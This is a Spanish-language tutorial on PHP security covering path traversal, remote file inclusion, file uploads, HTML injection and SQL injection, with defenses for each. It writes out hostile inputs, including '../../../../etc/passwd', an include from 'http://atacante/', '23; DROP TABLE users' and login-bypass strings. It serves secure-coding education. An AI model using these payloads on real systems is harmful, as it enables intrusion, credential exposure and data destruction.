Nombres de ficheros
Es relativamente fácil construir un nombre de fichero que se refiera a algo distinto a lo que se pretende
Sea el siguiente código:
include (“/usr/local/lib/bienvenida/$username”);
Este código pretende mostrar un mensaje de bienvenida personalizado para el usuario. Aparentemente no es peligroso, pero ¿qué ocurriría si el usuario introduce como nombre la cadena “../../../../etc/passwd”?
Se mostraría el fichero de passwords del sistema
Nombres de ficheros
Además hay que tener en cuenta que las funciones de manejo de ficheros como include() o require() admiten nombres de ficheros remotos, lo que podría provocar la ejecución de código maligno cargado de otro servidor. Sea, por ejemplo, el código
include ($libdir . “/conecta.php”);
Si un atacante modifica el valor de la variable $libdir a, pongamos por caso, “http://atacante/”, y coloca en la raíz del mismo un fichero de nombre conecta.php, su código sería ejecutado
Se puede desactivar la funcionalidad de acceso a ficheros remotos con la siguiente directiva en php.ini:
allow_url_fopen = off
Nombres de ficheros
Para chequear nombres de ficheros se utilizan las funciones realpath() y basename(). La primera convierte direcciones relativas en absolutas y la segunda toma una ruta y devuelve la parte correspondiente al nombre del fichero. Ejemplo:
$file = $_POST[‘username’];
$file2 = basename (realpath($file));
if ($file2 != $file)
die (“$file no es un username válido”);
include (“/usr/local/lib/bienvenida/$file”);
Nombres de ficheros
Otra defensa contra los nombres de ficheros incorrectos es la directiva de php.ini open_basedir:
open_basedir = /alguna/ruta
PHP limitará las operaciones sobre ficheros al directorio especificado y sus subdirectorios:
include (“/alguna/ruta/lib.inc”); // permitido
include (“/otra/ruta/lib.inc”); // da error
Subida de ficheros
La subida de ficheros permite a un usuario enviar cualquier fichero al servidor, lo cual encierra un gran peligro ya que un atacante puede subir un código maligno y luego ejecutarlo, causando más daño que cuando se incluye el código desde un servidor remoto
Como recomendación general, debe evitarse utilizar el nombre enviado por el navegador (podría ser, por ejemplo, /etc/passwd). Es conveniente generar un nombre único para el fichero subido
Subida de ficheros
Otro peligro es el tamaño de los ficheros. Aunque se limite el tamaño máximo en el formulario, los ficheros se reciben automáticamente y luego se comprueba su tamaño
Es posible que un usuario intente provocar un ataque de denegación de servicio enviando varios ficheros de gran tamaño a la vez y llenando el sistema de ficheros utilizado por PHP para almacenarlos
Para evitar esto se puede utilizar la directiva post_max_size de php.ini. El valor por defecto suele ser más elevado de lo necesario
El campo oculto MAX_FILE_SIZE en los formularios es conveniente porque evita que comience la subida de un fichero si supera el tamaño permitido, pero puede saltarse con facilidad, por lo que no es suficiente. La directiva de php.ini sí lo es
Bibliotecas
Es conveniente almacenar los ficheros de biblioteca fuera de la raíz de la web para evitar que puedan ser accedidos por su URL
En tal caso debe hacerse saber a PHP la ubicación de los ficheros indicando la ruta completa en los include() y require() o bien mediante la directiva include_path en php.ini
include_path = “.:/usr/local/php:/usr/local/lib/myapp”
Esto es particularmente importante cuando en el código de la biblioteca aparecen passwords, como es el caso de las funciones de conexión con bases de datos
Formularios
Es recomendable validar todos los datos provenientes de formularios para asegurarse de que los valores recibidos son los esperados
En general, cualquier información proveniente del exterior debe contemplarse como posiblemente contaminada y debe ser verificada antes de ser utilizada
Sea el siguiente ejemplo:
print (“Nombre: “ . $nombre);
print (“Comentario: “ . $comentario);
Formularios
Si el autor del comentario introdujo algún código HTML en el texto del mismo, el código será interpretado y sus efectos podrían ser graves
Para evitar esto se puede utilizar la función htmlspecialchars(), que impide que se interpreten los caracteres especiales de HTML (< , >, &)
El código quedaría de la siguiente manera:
print (“Nombre: “ . $nombre);
print (“Comentario: “ . htmlspecialchars($comentario));
Inyección SQL
Inyección
Consiste en inyectar en la aplicación datos introducidos por el usuario. Esto es muy habitual y de por sí no es peligroso
Ejemplo: sea la instrucción
sql= "SELECT * FROM noticias WHERE id = $id";
Pulsando en el artículo de interés para el usuario se convierte en:
sql= "SELECT * FROM noticias WHERE id = 228";
Inyección SQL
Inyección SQL
Consiste en inyectar un mandato dentro de una consulta SQL. Sea la consulta:
$consulta = “SELECT titulo FROM libros WHERE codigo = $codigo”;
siendo $codigo un valor introducido desde un formulario. Si el valor es ‘23’ la consulta será:
SELECT titulo FROM libros WHERE codigo = 23
Si el valor es ’23; DROP TABLE users’ la consulta es:
SELECT titulo FROM libros WHERE codigo = 23; DROP TABLE users
que destruiría la tabla de usuarios de MySQL
Inyección SQL
Inyección SQL
Sea ahora el siguiente código muy habitual en una aplicación Web:
$consulta = “SELECT id FROM usuarios WHERE username = ‘$username’ AND password = ‘$password’”;
Si se introducen los valores juan como username y Ag3n.da como password, la consulta queda:
SELECT id FROM usuarios WHERE username = ‘juan’ AND password = ‘Ag3n.da’
Inyección SQL
Inyección SQL
Se puede saltar la comprobación del password introduciendo el valor juan’– como username o el valor ‘ OR ‘’=’ como password. Las consultas que quedarían en ambos casos son, respectivamente:
SELECT id FROM usuarios WHERE username = ‘juan’–‘ AND password = ‘’
SELECT id FROM usuarios WHERE username = ‘juan’ AND password = ‘’ OR ‘’=’’
En el primer caso nótese que — es un comentario de línea en MySQL y provoca que se ignore todo lo que viene tras él en la línea
Inyección SQL
Inyección SQL
La inyección SQL puede utilizarse para:
Cambiar valores de las consultas
Concatenar varias consultas
Añadir llamadas a función y procedimientos almacenados a una consulta
Para evitar la inyección SQL es muy importante validar los valores que se han de integrar en la consulta SQL. En el primer caso, por ejemplo, $codigo debe ser un valor entero
Resumen
De todo lo anterior podemos concluir las recomendaciones siguientes:
Validar todos los datos de entrada de la aplicación
Aceptar únicamente datos válidos conocidos
Rechazar datos no válidos conocidos
Sanear todos los datos
Configurar adecuadamente PHP a través del fichero php.ini
Seguir unas buenas prácticas en la programación
Hay que tener en cuenta que cualquier cambio en la configuración de PHP afectará a los scripts de todos los usuarios y posiblemente a algunas herramientas, lo cual debe ser tenido en cuenta y estudiarse sus consecuencias antes de proceder a realizarlos
 Página anterior | Volver al principio del trabajo | Página siguiente  |